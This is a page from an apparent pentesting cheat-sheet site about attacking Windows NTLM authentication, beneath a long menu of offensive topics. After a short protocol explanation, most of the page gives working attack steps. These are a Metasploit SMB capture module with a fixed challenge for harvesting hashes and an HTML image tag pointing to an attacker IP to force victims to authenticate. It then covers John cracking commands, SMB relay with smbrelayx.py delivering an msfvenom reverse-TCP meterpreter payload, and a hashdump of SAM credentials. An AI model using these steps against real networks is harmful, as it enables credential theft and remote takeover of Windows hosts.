🍩
HackBook.io
  • Pentesting Pocket Book for hackers and developers.
  • Reconnaissance
    • Internal Recon Basics
    • OSINT
      • Infrastructure
      • Recon-ng
      • Users
      • Google Dorks
    • Active Scanning
      • NMAP
        • NSE
          • reconnoitre
        • NMap Evasion
      • NC Scan
      • Finger Printing
    • Web Server OSINT
      • WhatWeb
      • Subdomains
      • Directory & File Enumeration
        • Enumeration
          • GoCutty
          • gobuster
          • Dirb
          • nikto
        • Fuzzing
        • Crawling
  • Web Application Hacking
    • Web 101
      • Clients
      • Servers
      • Encodings
    • Web Hacking Techniques
      • SOP
      • Open Redirect
      • File & Resource Attacks
        • Directory Traversal
          • Dir Traversal Fuzzer
        • LFI
        • RFI
        • Unrestricted File Uploads
      • XSS
        • DOM
        • Stored
        • Reflected
        • Blind
        • Self XSS
      • XXE
        • XXE Payloads
      • XPath
      • SSRF
      • CSRF
      • SQLi
        • SQL Basics
        • Securing SQL
        • Hacking SQL
          • sqlmap
          • In-Band
          • Error Based
          • Blind
      • Authorization
      • Session Hijacking
      • Command Injection
      • Insecure Deserialization
      • File Uploads
        • File Upload Mitigations
      • HPP
      • Click Jacking
        • Adobe SWF Investigator
      • HTTP Response Splitting
      • Flash 101
        • Flash Hacking
      • HTML5
        • WebSockets
        • CORS
          • iframe
          • Headers
    • Web Hacking Procedures
      • Captcha
      • Username Generation
      • Username Enumeration
      • Inhouse WebApps
      • SSL Cert Generation
      • CMS
        • WordPress
        • Joomla
      • Popular Exploits
        • Bludit CMS
        • ShellShock
        • WebDav
  • Weaponization
    • Buffer Overflows (BOF)
      • DSBOFG
        • Scripts
  • Initial Access
    • 😈Services
      • Finger
      • SNMP
      • LDAP
      • SMTP
      • NFS
      • RPC
        • RPCBind
      • RDP
      • SQL
        • NoSQL
      • POP3
      • Samba
      • SMB
      • SSH
      • Telnet
      • NetBios
      • VOIP/SIP
      • DNS
        • DNS Lookups
        • Zone Transfer
        • SubDomain Enums
        • dnsdumpster
    • 😈Shells
      • Powercat
      • Odd Shells
      • Troubleshoot
      • TTY/PTTY
  • Persistence
    • File Transfers
      • Py->Exe->Txt
      • Cross compile example
    • Backdoors
  • Privilege Escalation
    • Universal Escalation
    • Windows Escalation
      • Automated
      • Popular Exploits
        • ActiveXObject to Wscript RCE
        • Macros
        • Object Linking
    • Linux Escalation
      • Automated
    • Passwords
      • John
      • Medusa
      • Cewl
      • ncrack
      • Crunch
      • Hydra
      • MITM
      • Responder
        • SAM
          • pwdump and fgdump
          • Pass-the-hash
      • Crack the hash
      • NTLM
  • Network Discovery
    • Network Traffic
      • tcpdump
    • Internal Discovery
  • Collection and Staging
    • Collection
      • File types
  • Hacking Objectives
    • Non Kinetic War (Quick Guide)
  • Procedures
    • Bash Guide
    • Active Directory
    • Crypto 101
    • Forensics
  • Glossary
  • Hacking Frameworks
    • Metasploit
      • msfvenom
    • Dsnif
  • ThreatModeling
    • Threat Modeling Overview
  • Certifications
    • VMDR
      • Qualys Asset Management
      • Qualys Vulnerability Management
      • Qualys Threat Prioritization
      • Qualys Response (Patch Deployment)
    • OSCP Cheat Sheet
  • RF - Radio Frequency
    • Ham Technician
Powered by GitBook
On this page

Was this helpful?

  1. Privilege Escalation
  2. Passwords

NTLM

PreviousCrack the hashNextNetwork Traffic

Last updated 3 years ago

Was this helpful?

NTLM(nt lan manager) is what windows clients use to authenticate to windows servers. This mostly has been replaced by kerberos but is still used when the client tries to authenticate with either an IP or belongs to a different domain. Versions: LM, NTLM, NTLMv2, kerberos. For backwards compatibility LM hashes(DES) may sometimes still be stored and sent in the NTLM proto NTLM is a challenge/response protocol with 3 message types: Negotiation, challenge, authentication. Negotiation: Client sends clear text username Challenge: Server generates challenge and sends to client Authentication: Client encrypts the challenge with the hash of the user's password and returns the results to the server Killchain Combos: Responder, ntlmrelayx Responder, multirealy, msf(tools) Mitm6, ntlmrelayx Responder, crack hash, login/dump ad Responder, crack hash, kerberoast ? Responder, empire The vulnerability here is in catching the authentication/challenge response message. We can capture it either by MiTM sniff or impersonating a server and getting the client to connect to us. MiTM: Impersonation:(LM or NTLMv1) Set up a listening SMB service and use a fixed challenge string to send to clients. MSF has a module to do this for us: MSF: > use auxiliary/server/capture/smb in the options set: CHALLENGE = 1122334455667788 and JOHNPWFILE = hashpwd //the first is our challenge string and the second tells msf to save the hashes in a file and put them in john format for cracking later. By using the fixed number string we are creating a salt and because we use a common salt we can rainbow table decrypt this easily. We then need to initiate the NTLM protocol on the client. Easiest with SMB. We can embed “\\SERVER_IP\\SHARE” into an email or webpage. ex: <img src="\\ourAttackerIP\\ADMIN$"> When our page is opened:

Note the hashes are different. This is because LM is also enabled. If both LM and NT hash are the same then LM is disabled. For passwords shorter than 7 character the last 8bytes will always be 2f85252cc731bb25 since the last octet of the hashing algorithm is all 0's for padding. The file should be saved as hashpwd_netntlm Crack the output in John: #john --format=netlm hashpwd_netntlm

//if this method does not work to crack the hash then we need to use a rainbow cracking tool set like rcracki_mt(crack first octet), halflm_second.rb(msf, get next octet), netntlm.pl(go from all caps password to real pass) ----NTLMv2-----(Need to pass/SMB Relay): --summary--

For this to work we need: 1) Admin on the Target machine. 2) "Network security:Lan Manager auth level" set to “Send LM & NTLM responses”

//some situations it may still work without this. ---- MSF: > use /exploit/windows/smb/smb_relay

Once we run it then we just need to sit and wait for a connection. This could be from updates, patch management, backups. Once the connection attempt is started the tool will auto pwn for us. Impacket: Here we will utilize smbrelayx.py from impacket and catch the msfvenom shell with an msf meterpreter session. #msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4455 -f exe -o smbexp.exe msf> use exploit/multi/handler

run the listener. #smbrelayx.py -h 192.168.102.149 -e /home/stduser/smbexp.exe //now wait for a host to try a connection. We will see the session open in msf when working. -------------- Dump SAM: //We already have a system shell. Some OSes this will work with admin shells meterpreter> run hashdump //If we get an operation failed message try to migrate to another process then attempt the "run hashdump" again.

https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/